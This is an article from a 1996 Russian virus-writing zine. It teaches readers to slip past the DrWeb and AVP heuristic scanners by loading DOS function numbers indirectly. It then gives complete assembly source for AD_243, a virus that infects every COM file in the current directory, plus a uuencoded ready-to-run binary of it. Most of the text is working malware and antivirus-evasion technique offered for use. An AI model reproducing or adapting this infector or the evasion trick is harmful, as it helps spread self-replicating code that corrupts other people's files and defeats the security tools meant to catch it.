[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 1, September 1996                                     file 002



                           ЭРОТИЧЕСКИЕ АНАЛИЗАТОРЫ

                                                by igor Dikshew

     Вопрос  о  том,  как  заставить  замолчать эвристические анализаторы кода
таких  популярных  антивирусных  программ, как DrWeb и AVP, встает не только у
тех,  кто пишет вирусы, но и у тех, кому нужно написать прогу на низком уровне
для  работы  с  файлами. К последним можно отнести и разработчиков самопальных
антивирусов.  Я  тоже  когда-то вставал перед такой проблемой. Шифрование тела
антивируса  привело только к увеличению подозрений со стороны эвристиков и они
стали  кричать не просто Type_COM_EXE, а еще и Crypt. Я в серьез задумался над
этим.  Так  неужели  нет способа обойти анализаторы кода?... Есть! Да еще и не
один!
     Для  DrWeb и TBAV описаны универсальные алгоритмы обхода в журнале CHAOS.
Но  эти  алгоритмы  довольно  громоздки,  да к тому же требуют шифрования того
кода,  который  вы  желаете спрятать от ненасытных антивирусов. К тому же TBAV
используется  для  постоянной  профилактики  довольно редко в связи с тем, что
любит  покричать  на  совершенно  безобидные проги. А кроме DrWeb у нас широко
популярен антивирусный пакет AVP, имеющий довольно мощный эвристик.
     Для обхода вот этих двух анализаторов кода я и решил найти самый легкий и
общедоступный путь. Он оказался куда проще, чем я думал. Достаточно засылать в
регистр  AX номера функций в неявном виде и эвристики сразу успокаиваются. Что
значит  в  неявном виде? А это когда номера хранятся в отдельном блоке кода, и
выбираются по мере необходимости. К примеру:
                 mov ax, WriteFunc
                 mov cx, VIRLEN
                 mov dx, 100h
                 int 21h
     Неправда ли, знакомые команды? ;) Так вот, если WriteFunc объявить как:
                 WriteFunc db 40h
     и поместить в произвольное место в вирусе, то для антивирусов приведенный
выше  код  перестает  быть подозрительным ;)))))))) Кроме того, такой функцией
может   служить  часть  кода  самого  вируса...  Так  вместо  WriteFunc  можно
использовать адрес инкремента регистра AX:
                  0040h   inc ax
     Как  же все это делается? Очень просто! Вы пишите свою прогу не взирая ни
на  что, а вот когда она будет готова, перенесите функции в отдельный блок или
поищите  в  исполняемом  коде  байты,  которые  можно  использовать в качестве
значений для регистра AX и вопрос решен! Причем совсем необязательно не только
криптовать  тело вируса, но даже маску файлов. Ну а чтобы не быть голословным,
приведу  пример  простейшего  COM-вируса, так как все кричат, что звери такого
класса  уже  не актуальны в связи с тем, что легко обнаруживаются эвристиками.
Это совершннейшая неправда! Вирусы типа Search запросто могут еще жить в новых
операционках, например в шмелике (OS/2).

=== Cut ===
;----------------------------------------------------------------------------
;                              Вирус AD_243
;                            Семейство Search
;                Поражает все COM файлы в текущем каталоге
;          Использует антиэвристический прием (c) -=* Red Arc *=-
;                  Абсолютно безвреден, хорошо лечится
;----------------------------------------------------------------------------
;           (c) 1996 by I. Dikshew // [TAVC] // -=* Red Arc *=-
;----------------------------------------------------------------------------

Model tiny
.code
.286

org 100h

START:
       jmp VIRUS                  ;Иммитируем зараженную прогу
       nop
       db 0adh                    ;Метка вируса - идентификатор зараженности
VIRUS:
       pusha                      ;Сохранение регистров
       push ds es cs
       pop ds
       jmp short BEGIN            ;Переход на тело вируса

       M_Ofs equ $-VIRUS          ;Смещение маски файлов
       FMASK db '*.com',0h        ;Маска файлов (даже не криптованная)
       B_Ofs equ $-VIRUS          ;Смещение начальных байт программы
       Byte4 db 0cdh, 20h, 90, 90 ;Начальные байты программы
  ;............................... Функции вируса
Set_Dta equ $-VIRUS
        db 1ah                    ;Установить DTA
FFirst equ $-VIRUS
        db 4eh                    ;Поиск первого файла
WriteF equ $-VIRUS
        db 40h                    ;Запись в файл
FNext equ $-VIRUS
        db 4fh                    ;Поиск следующего файла
SAttrFH equ $-VIRUS
        db 43h                    ;Изменение атрибутов
CloseF equ $-VIRUS
        db 3eh                    ;Закрытие файла
SAttrFL equ $-VIRUS
        db 01h                    ;Подфункция
OpenH equ $-VIRUS
        db 3dh                    ;Открыть файл
ReadF equ $-VIRUS
        db 3fh                    ;Читать из файла
OpenL equ $-VIRUS
        db 02h                    ;Подфункция
SetDF equ $-VIRUS
        db 57h                    ;Изменение даты и времени файла
HanMov equ $-VIRUS
        db 42h                    ;Смещение handle

BEGIN:                            ;Начало кода вируса
       call My_Entry
BEG_LEN equ $-VIRUS
My_Entry:
       pop bp
       sub bp,BEG_LEN             ;Определяем истинную точку входа
       xchg si,di
       push bp
       pop si
       add si,B_Ofs
       movsw
       movsw                      ;Восстанавливаем начальные байты программы
       mov ah, byte ptr [bp+Set_Dta]
       mov dx,bp
       push dx
       add dx,VIRLEN
       push dx
       int 21h                    ;Устанавливаем DTA в конец тела вируса
       mov ah,byte ptr [bp+FFirst]
       pop si
       pop dx
       add dx,M_Ofs
       mov cx,0ffh                ;Поиск первого файла по шаблону
FIND:
       int 21h
       jb Not_Found
       call Plaque                ;Нашли, тестируем
       mov ah,byte ptr [bp+FNext]
       jmp short FIND             ;Поиск следующего файла по шаблону
Not_Found:
       mov ah,byte ptr [bp+Set_Dta]
       xor dx,dx
       mov dl,80h
       int 21h                    ;Переустанавливаем адрес DTA на программный
       pop es ds
       popa                       ;Восстанавливаем регистры
       push si
       ret                        ;Отдаем управление программе

Plaque:
       mov dx,si
       add dx,1eh                 ;Получаем в DX адрес имени файла из DTA
       push dx
       mov ah,byte ptr [bp+SAttrFH]
       mov al,byte ptr [bp+SAttrFL]
       xor cx,cx
       int 21h                    ;Очищаем атрибуты файла
       mov ah,byte ptr [bp+OpenH]
       mov al,byte ptr [bp+OpenL]
       int 21h                    ;Пытаемся открыть файл для чтения/записи
       jb NextFind
       xchg ax,bx                 ;Сохраняем в BX handle
       mov ah,byte ptr [bp+ReadF]
       push bp
       pop dx
       add dx,B_Ofs
       xor cx,cx
       mov cl,4
       int 21h                    ;Читаем первые 4 байта файла
       mov al, byte ptr [bp+B_Ofs+3]
       cmp al,0adh                ;Уже инфицирован?
       jz Close_File
       jmp short Infected
Close_File:
        mov ah,byte ptr [bp+SetDF]
        mov al,byte ptr [bp+SAttrFL]
        mov dx,word ptr [si+18h]
        mov cx,word ptr [si+16h]
        int 21h                   ;Восстанавливаем дату и время файла из DTA
        mov ah,byte ptr [bp+CloseF]
        int 21h                   ;Закрываем файл
NextFind:
        mov ah,byte ptr [bp+SAttrFH]
        mov al,byte ptr [bp+SAttrFL]
        pop dx
        mov cx,word ptr [si+15h]
        int 21h                   ;Восстанавливаем атрибуты файла из DTA
        ret
infected:                         ;Инфицирование файла
        cld
        mov ah,byte ptr [bp+HanMov]
        mov al,byte ptr [bp+OpenL]
        xor cx,cx
        push cx
        push cx
        pop dx
        push dx
        push bp
        int 21h                   ;Двигаем handle в конец файла
        push bp
        pop dx
        mov cx,VIRLEN
        mov ah,byte ptr [bp+WriteF]
        int 21h                   ;Записываем тело вируса
        pop di
        pop cx
        pop dx
        add di,B_Ofs
        xor ax,ax
        mov ah,byte ptr [bp+HanMov]
        int 21h                   ;Двигаем handle в начало файла
        mov byte ptr [di],0e9h    ;Код внутрисегментного перехода
        mov ax,word ptr [si+1ah]
        sub ax,3
        mov word ptr [di+1],ax    ;Размер файла из DTA минус 3 байта перехода
        mov byte ptr [di+3],0adh  ;Метка - идентификатор зараженности
        mov cl,4
        xchg dx,di
        mov ah,byte ptr [bp+WriteF]
        int 21h                   ;Записываем 4 байта нового начала
        jmp Close_File

VIRLEN equ $-VIRUS                ;Длина тела вируса
END Start
=== Cut ===

     Вот в принципе и все. Данный прием действителен для антивирусов до версий
включительно  DrWeb  3.14  и  AVP  2.2.  Не  надо  только  говорить,  что вирь
примитивен.  Я  в  данном  разделе  иллюстрировал  идею,  а  не претендовал на
абсолютный  вирус. А идею легче объяснить именно на "пальцах". Для тех, кто не
верит глазам своим, привожу вышеописанный пример в виде COM-файла.

=== Cut ===
section 1 of 1 of file ad_243.com    -={ UUE 1.06, ARA (C) 1995 }=-

begin 644 ad_243.com  9-16-1996 2:48:8
MZP*0K6`>!@X?ZQ8J+F-O;0#-(%I:&DY`3T,^`3T_`E="Z```78/M((?W55Z#
MQ@VEI8IF$8O54H'"\P!2S2&*9A)>6H/"![G_`,TA<@CH$P"*9A3K](IF$3/2
MLH#-(0<?85;#B]:#PAY2BF85BD87,\G-(8IF&(I&&LTA<BN3BF8955J#P@TS
MR;$$S2&*1A`\K70"ZR"*9AN*1A>+5!B+3!;-(8IF%LTABF85BD876HM,%<TA
MP_R*9AR*1AHSR5%16E)5S2%56KGS`(IF$\TA7UE:@\<-,\"*9AS-(<8%Z8M$
6&BT#`(E%`<9%`ZVQ!(?7BF83S2'KGH
`
end
sum -r/size 44656/387 section (from "begin" to "end")
sum -r/size 8977/247 entire input file
=== Cut ===

                                                 (c) by Igor Dikshew [TAVC]